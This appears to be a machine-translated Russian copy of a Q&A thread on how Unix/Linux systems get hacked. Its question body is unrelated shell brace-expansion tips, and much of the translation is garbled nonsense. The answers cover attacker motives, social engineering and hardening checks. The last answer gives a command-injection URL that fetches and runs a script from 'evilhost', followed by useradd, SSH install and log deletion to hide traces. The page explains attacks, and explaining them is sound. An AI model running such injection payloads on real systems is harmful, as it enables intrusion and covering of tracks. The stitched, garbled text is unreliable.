Как точно люди “взламывают” Системы Unix/Linux?

Некоторые частые случаи для меня:

Для переименования:

mv myText.{txt,tex}

или

mv myText.tex{,.old}

или

cp myText.tex{,.backup}

(Хотя это менее грязно для использования управления версиями для последних 2 задач.)

Для сравнения (уже упомянутый):

diff path{1,2}/a.txt
13
28.04.2011, 19:48
4 ответа

Существуют бесчисленные причины, можно было бы попытаться поставить под угрозу безопасность системы. В общих чертах:

  • Использовать ресурсы системы (например, отправить спам, релейный трафик)
  • Получить информацию о системе (например, получить данные о клиентах от сайта электронной коммерции).
  • Изменить информацию о системе (например, стирать веб-сайт, информацию о лжи завода, удаляют информацию),

Только иногда делайте эти вещи требуют корневого доступа. Например, ввод уродливого поискового запроса на сайте, который правильно не санирует ввод данных пользователем, может показать информацию от базы данных сайта, такой как имена пользователей / пароли, адреса электронной почты, и т.д.

Многие компьютерные преступники являются просто "деточками сценария"; т.е. люди, которые на самом деле не понимают системной безопасности, и даже не могут кодировать, но выполнить использование, записанное другими. Они обычно довольно легко защищаются от того, потому что у них нет способности адаптироваться; они ограничены использованием известных уязвимостей. (Хотя они могут усилить ботнеты - большие группы захваченных компьютеров - который может означать опасность DDos-атак.)

Для квалифицированного взломщика проходит примерно так процесс:

  1. Фигура, что цель, и что цель стоит. Безопасность - поддержание его или взлом его - являются вычислением риска/вознаграждения. Чем более опасно и более дорогостоящее что-то будет, тем более соблазнительно вознаграждение должно быть для создания нападения стоящим.

  2. Рассмотрите все подвижные части, что эффект вообще цель - например, если Вы хотите отправить спам, Вы могли бы напасть на почтовый сервер, но может иметь больше смысла следовать за другим стоящим с сетью сервисом как все, в чем Вы действительно нуждаетесь, использование сетевого соединения цели. Если бы Вы хотите пользовательские данные, Вы начали бы смотреть на сервер базы данных, веб-приложение и веб-сервер, которые имеют способность получить доступ к нему, система, которая создает резервную копию его и т.д.

    Никогда не обесценивайте человеческий фактор. Обеспечение компьютерной системы намного легче, чем обеспечение поведения человека. Заставляя кого-то показать информацию они не были должны, или выполнять код, они не были должны, быть и легкими и эффективными. В колледже я выиграл пари с другом, который включил вторжение в его uber-безопасную корпоративную сеть путем надевания разоблачающего комплекта оборудования и столкновения с развратным вице-президентом - техническая экспертиза моего друга, явно перевешенная моя, но ничто не превосходит питание 17yo студентка в короткой юбке!

    Если Вы испытываете недостаток в сиськах, считаете предложение бессмысленной игрой или чем-то, что идиоты загрузят для забавы, не рассматривая то, что это действительно могло бы делать.

  3. Посмотрите на каждую часть, Вы определили и рассматриваете то, что она может сделать, и как это можно было настроить, чтобы сделать то, что Вы хотите - возможно, справочная служба изменяет пароли для пользователей часто, правильно не определяя, что вызывающая сторона и вызов их звучащий смущенными получат Вас чужой пароль. Возможно, веб-приложение не проверяет то, что помещается в поле поиска, чтобы удостовериться, что это не код прежде, чем засунуть его в функцию, которую оно выполняет. Компромиссы безопасности обычно запускаются с чего-то, намеренно выставил, который может быть сделан вести себя способом, это не было должно.

14
27.01.2020, 19:53
  • 1
    после чтения, мне все еще любопытно, о какой информации развратный вице-президент мог предоставить в случайном разговоре, который выиграет Вас та ставка. –  justin cress 29.04.2011, 01:05
  • 2
    @justin: Я сказал, что был там для наблюдения ре $friend: школьный проект, но он был вне офиса. Я позволяю VP показать мне некоторые тривиальные вещи о компьютерной системе, и он был слишком отвлечен, уставившись на меня, чтобы заметить, что я наблюдал его вводящий его пароль. У него был законный доступ к диску, к которому я, как предполагалось, получил доступ для выигрывания пари. –  HedgeMage 29.04.2011, 04:53
  • 3
    , который я согласовываю полностью, социальная инженерия, намного легче, чем переполнение "кучи". Вам действительно понравится этот archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html –  Rohan Monga 29.04.2011, 09:29
  • 4
    , "При недостатке в сиськах считайте предложение бессмысленной игрой или чем-то".. серьезно? Вы помещаете их обоих в ту же категорию эффективности?! :) –  Roopesh Shenoy 29.04.2011, 11:40
  • 5
    "Считает предложение бессмысленной игрой или чем-то, что идиоты загрузят для забавы..." - Ahh, таким образом, это будет идеей позади Фармвилля и Evony. –  Shadur 29.04.2011, 11:43

Самым большим фактором является тип доступа, который имеет взломщик. Если у них есть физический доступ, Вы завинчены. Если Вы только обеспокоены удаленным доступом затем, он зависит, что у Вас есть выполнение; хорошая конфигурация - все. Стандартный сервер Linux, вероятно, выполнил бы ftp, ssh, http, https, и mysql. SSH безопасен, но я не позволил бы корневые логины, и хороший пароль на каждой учетной записи - необходимость. FTP случаен. Если у Вас есть VSFTP и chroot Ваши пользователи, то это очень безопасно. Несколько других версий знали уязвимости. HTTP, вероятно, будет Вашей самой уязвимой областью. Ваше самое большое беспокойство здесь - что-либо, что выполняет файлы в системе или загружает файлы на систему. Внедрение SQL ОЧЕНЬ трудно, если Ваш веб-сайт сделан в PHP5. Группа студентов безопасности и меня попробовала Внедрения SQL на несанированном веб-сайте PHP5 в течение многих недель и была неудачна. С MySQL убедиться использовать некорневого пользователя и ограничить его для входа в систему только с сервера Apache.

Существует пара плагинов Firefox для тестирования уязвимостей веб-сайта: получите доступ ко мне, xss меня, и sql вводят меня

Некоторые большие вещи, которые я всегда делал бы на соревнованиях для обеспечения безопасности, будут состоять в том, чтобы работать:

  • netstat - проверьте открытые порты и соединения,
  • w - кто зарегистрирован, сколько времени,
  • Проверьте журналы на логины,
  • история удара для выполняемых команд,
  • ps - выполнение команд,
  • /etc/passwd для дополнительных пользователей
  • /etc/sudoers для sudo доступа.

Обычно после получения доступа, взломщик хочет получить корень. В настоящее время существует несколько уязвимостей расширения полномочий там, которые позволили бы обычному пользователю получать корень. После этого они хотят открыть его для более позднего доступа путем добавления пользователей и открытия черных ходов.

Вот кибер оборонный веб-сайт моей школы. Не стесняйтесь озираться и задавать некоторые вопросы: https://thislink.doesntexist.org/

4
27.01.2020, 19:53

Безопасность системы зависит от навыков администратора (администраторов), таким образом, это - вид несправедливости, чтобы сказать, что "Системы Linux/Unix, как предполагается, очень безопасны" :)

Теперь пойти о взламывании... Существуют своего рода инструменты, названные "сканер уязвимости" как Nessus, который ищет вещи, которые будут использованы. Существует тысяча вещей, которые могут пойти не так, как надо в сложной системе, такой как неправильно сконфигурированный сервер Apache, чтобы позволить загружать произвольных файлов на произвольные места. Они могут служить стартовой площадкой для дальнейшего использования, такого как получение доступа к базе данных или почтового ящика, от которого пароли могут быть восстановлены через, "забывают пароль" функция.

Иногда взлом должен получить доступ и сделать что-то злое. Иногда люди делают это для забавы (который глуп, между прочим).

И, вот история известного взлома, который произошел совсем недавно. Я думаю, что это будет иллюстративно любому, кто смотрит на безопасность! Заключить сводку в кавычки использования:

Веб-приложение с Внедрением SQL портится и небезопасные пароли. Пароли, которые были плохо выбраны. Пароли, которые были снова использованы. Серверы, которые позволили основанную на пароле аутентификацию. Системы, которые не были исправлены. И удивительная готовность раздать учетные данные по электронной почте, даже когда человек, попросивший их, должен был понять что-то, возросла.

2
27.01.2020, 19:53

Существует столько векторов атаки для близкого большого количества. Один из самых простых концептуально должен сделать программу общедоступной, и говорящий, что он делает что-то другое, чем он действительно делает. Дайте пользователям дружественные инструкции с a sudo в запуске и часах мировой бум движения. Это происходит каждый день с программами с закрытым исходным кодом, так как это невыполнимо для единственного человека для осмотра его работ заранее, как замечено с, например, CD Sony.

Можно также попытаться отправить специальные строки в удаленный хост. Для высокоуровневого примера скажите, что у Вас есть веб-сервер с некоторым программным обеспечением, работающим на нем и той частью выполнений программного обеспечения URL как команда, не выходя или иначе удостоверяясь, что он не может делать ничего плохого. Отправьте что-то как http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Декодируемый, строка поиска становится foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh. Если бы это выполняется, script.sh работал бы с теми же правами доступа как пользователь веб-сервера, чтобы сделать что-либо на машине. Иногда люди позволяют им работать, как поддерживают "удобство", в этом случае синоним для лени и/или невежественности. Даже если это не выполняется как корень, тот сценарий мог бы затем запустить тысячи тестов для других дыр в установленном программном обеспечении и выполнить другую команду, если это находит тот. Та последняя команда могла, например, быть useradd blabla; apt-get install openssh; rm /var/log/apache.log, получить доступ SSH и удалить трассировки взлома.

[команды были, очевидно, упрощены и вероятно не будут работать так или иначе. YMMV]

1
27.01.2020, 19:53

Теги

Похожие вопросы